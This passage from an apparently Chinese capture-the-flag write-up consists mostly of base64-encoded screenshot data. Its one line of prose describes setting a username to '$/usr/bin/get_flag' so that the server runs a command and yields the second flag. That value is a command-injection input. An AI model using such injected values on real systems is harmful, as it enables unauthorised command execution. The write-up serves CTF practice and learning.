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" alt=""></p><p>回显中可以看到get_flag2的路径,于是创建用户名为 $/usr/bin/get_flag ,重复上述步骤即可得flag2<br><img src="data:image/png;base64,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3/6fV7qrb76nq4U8rq91kiNNfv8P/jhq34uy+51/457+6ElRtzLp9jogf7HnSjI08sKdK5w7UNPVEomk92SQ4jZq1P+qJP/t917h5t5yb1cLeXzRi14l6WFhauutv//KqFuvS+y5kgyd0LZi9hKJRNLVEipui+96SCLpGqFzjdlLJK2K2pZEIulFGaS4/WjNwxJJ1wida8xeImlV1LYkEkkvyiDFbem6RyWSrhE615i9RNKqqG1JJJJelKbXuEkkQyF0rjF7iaRVUduSSCQ9KaHiJkRXUetchegIaltCiGFm6mVfdz+49lq38LrFtd+Fbu78Be77V89z35tzTU3mulnfv9p9d/bVtd+57vtzf+DmLbhOipvoctS5ik6htiWEGGZQ3H66fr176umfu5898ZTbvmOne2T7427ro4+5rdsec1se2e42P/xo9rvtsZ+5x3c+tWcpbkceeWR+JfYYhrBzvfaww/IrMSLoMsVN7y8hRh4obvfU9DAUt8d/trOmrG13D2ze6u7f9JBb/8Bmd9+GTe6e9Q/Ufh90m7Zsc9sef6JccXv961/fL294wxvccccd53bs2JG79rF8+fLshYM7v5iN9TUt8uijj87cDjnkEDd//nx38MEH56718YfSKEuXLnUXX3xxbhpams3zUHHjjTdm9+BNb3qTO+aYY3LbPsyN/PN788035y5dwhB1ro/88IduzZe/nJuGlkd+9CM34xWvcN959avdD9/zntx2gG/vtVcmvUpR+bDHbtuPf5zb1LNjxQq37MMfdrdMnpyVnzh8vxav1Q+yadas3LUCtbblP7t2HTOH0qg7z1bs/WnE3l/PPvtsJuvWrWtKqWs1vBCi87RdcQN7CcGK2ot00qRJucll4TBv3LgxM2/atClT1NauXZuZDz30ULd58+bs+re//W32ctp3330zM/hxF11XhXzs3LkzNzUGeWuVZvLcDvbZZ5/8qpgyhWy//fbrd+MXv0PJi1+8LL8qYIgUt8XvepfbXdCppvhdSfv5zqtelV8VEyokMbpVcWulfChtP6h90PEbgxHQ53/xi9zk3M4776zzG8b721//2t3z1a/mpgrkiptPlXeSXTfiF8L3p0/s/YXCxTsT/Hiq0mp4IUTn6bjiBn7Hfvzxx7tnnnkmN/Wxa9euzB4YZZszZ457/vnnM3MZrbxYyP8555yTmwYg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